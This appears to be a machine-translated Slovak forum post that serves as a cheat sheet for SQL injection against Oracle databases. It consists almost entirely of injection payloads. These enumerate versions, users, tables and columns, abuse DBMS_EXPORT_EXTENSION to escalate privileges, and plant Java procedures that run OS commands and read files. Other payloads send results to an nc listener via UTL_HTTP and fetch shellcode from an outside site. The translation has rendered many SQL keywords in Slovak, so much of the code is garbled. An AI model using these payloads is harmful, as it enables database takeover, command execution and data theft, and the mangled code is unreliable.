Tento príspevok bol naposledy upravený testom 24. 1. 2015 o 13:01
Komentár: -- Vykonávanie viacerých viet nie je podporované a federované dotazy sú podporované Názvy databáz, tabuliek a stĺpcov sú všetky písané veľkými písmenami.
dĺžka (pole) ascii(substr(field, N, 1))
a (vyberte count(*) z duálu)>0 -- Určte, či je to orákulum alebo nie
Poradie od n--
a 1=2 zjednotenie vybrať null, null,.....,null z duálu-- nahradiť null za N alebo 'N'
a 1=2 union select null, (SQL príkaz) ,.....,null z duálu -- zmena na (sql príkaz) na 'N'
a (vyberte count(*) z all_objects kde object_name='UTL_HTTP')>0 -- Zistite, či je UTL_HTTP podporovaný (exportná IP je známa)
a UTL_HTTP.request('http://LocalIP:port'|| (SQL príkaz)) =1-- Vzdialene posielať správy lokálnemu, lokálnemu počúvaniu nc -vv -l -p 1234
SQL príkazy Vyberte banner z verzie sys.v_$, kde rownum=1 na dotazovanie verzie orákula vyberte člena z v$logfile kde rownum=1 Dotazujte sa na cestu k log súboru (Windows alebo Linux) Vyberte utl_inaddr.get_host_address z dual na dotaz na IP počúvanie databázy Vyberte instance_name z v$instance na dotazovanie na SID Vyberte názov z v$database Dotazujte sa na aktuálny názov databázy Vyberte sys_context ('userenv','current_user') z používateľov databázy s dvoma dotazmi Vyberte * z session_roles kde Rownum=1 na dotazovanie aktuálnych používateľských oprávnení Vyberte * z session_roles kde Rownum=1 [a rola<>'prvé meno povolenia']
Vyberte table_name z user_tables kde Rownum=1 Prvý segment tabuľky aktuálnej databázy Vyberte table_name||','|| tablespace_name z user_tables kde rownum=1 Prvý segment tabuľky, databáza (pre overenie, nemusí to byť v$database) Vyberte table_name z user_tables kde Rownum=1 a table_name<>'prvý segment tabuľky' Druhý segment tabuľky aktuálnej databázy
Vyberte column_name z user_tab_columns kde Rownum=1 a table_name='Segment tabuľky' Prvé pole zodpovedajúce názvu tabuľky Vyberte column_name z user_tab_columns kde Rownum=1 a table_name='Segment tabuľky' a column_name<>'Prvé pole' Druhé pole zodpovedá názvu tabuľky
Vyberte pole z segmentu tabuľky, kde Rownum=1 porušuje obsah prvého riadku Vyberte pole z segmentu tabuľky, kde Rownum=1 a pole <> 'obsah prvého riadku' odhaľuje obsah druhého riadku
Cross-library Vyberte vlastníka z all_tables kde rownum=1 dotazuje na prvý názov databázy Vyberte vlastníka z all_tables kde Rownum=1 a vlastník<> 'Prvý názov databázy' na dotazovanie druhého názvu databázy
Vyberte table_name z all_tables kde rownum=1 a owner='názov databázy' Opýtajte sa na názov prvej tabuľky príslušnej databázy Vyberte table_name z all_tables kde Rownum=1 a owner='názov databázy' a table_name<>'názov prvej tabuľky' na dotazovanie na názov druhej tabuľky príslušnej databázy
Vyberte column_name z all_tab_columns kde Rownum=1 a owner='názov databázy' a table_name='segment tabuľky' Prvé pole zodpovedajúce názvu tabuľky Vyberte column_name z all_tab_columns kde Rownum=1 a owner='názov databázy' a table_name='segment tabuľky' a column_name<>'prvé pole' Druhé pole zodpovedá názvu tabuľky
Vyberte pole z databázy. segment tabuľky, kde rownum=1 porušuje obsah prvého riadku Vyberte pole z databázy. Segment tabuľky, kde je rownum=1 a pole <> 'Obsah prvého riadku', porušuje obsah druhého riadku
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); viacnásobné KONIEC; --','SYS',0,'1',0)--
Ak je 'escaped, používa sa chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-príkazy || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Ak je viacero viet príliš dlhých, môžete výrok zapísať do súboru na webovej stránke a použiť utl_http.request na jeho získanie.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Vytvoriť JAVA balík SecTest runCMD sa používa na vykonávanie systémových príkazov a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); VYKONAJTE OKAMŽITE," VYHLASUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', vytvoriť alebo nahradiť a skompilovať java zdrojový kód s názvom "SecTest" ako import java.io.*; public class SecTest rozširuje Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrátiť str; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
readFile sa používa na čítanie súboru a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); VYKONAJTE OKAMŽITE," VYHLASUJE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE''''', vytvoriť alebo nahradiť a skompilovať java zdrojový kód s názvom "SecTest" ako import java.io.*; public class SecTest rozširuje Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); vrátiť str; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Udelenie Java oprávnení a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>''''''''''''''''vykonať''''''''); koniec; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Vytvoriť funkciu Funkcia SecRunCMD a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecRunCMD(p_cmd in varchar2) return varchar2 ako java name''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Funkcia SecReadFile a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) return varchar2 as language java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Udelenie povolenia na vykonávanie verejnej funkcie SecRunCMD má povolenia a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE VYKONÁVAŤ OKAMŽITÉ ''''udeľte všetko na SecRunCMD verejnosti'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
SecReadFile a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ZAČNITE OKAMŽITE VYKONAŤ ''''udeľte všetko na SecReadFile verejnosti'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
Detekuje, či bola funkcia úspešne vytvorená a (vyberte count(*) z all_objects kde object_name='SECRUNCMD')>0-- a (vyberte count(*) z all_objects kde object_name='SECREADFILE')>0--
Vykonajte príkaz a '1'<> (vyberte sys. SecRunCMD('Execute command') z duálu)-- a '1'<> (vyberte sys. SecReadFile('fyzická adresa súboru') z duálu)-- alebo a 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null z dual-- a 1=2 union select null,...,sys. SecReadFile('fyzická adresa súboru'),...,null z dual-- alebo a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) z dual)-- a '1'<>(vyberte UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Fyzická adresa súboru'),' ',' ',','\n',' ')) z dual)--
Delete funkcia a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)-- a '1'<>'a'|| (vyberte SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); OKAMŽITE VYKONAJTE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)-- |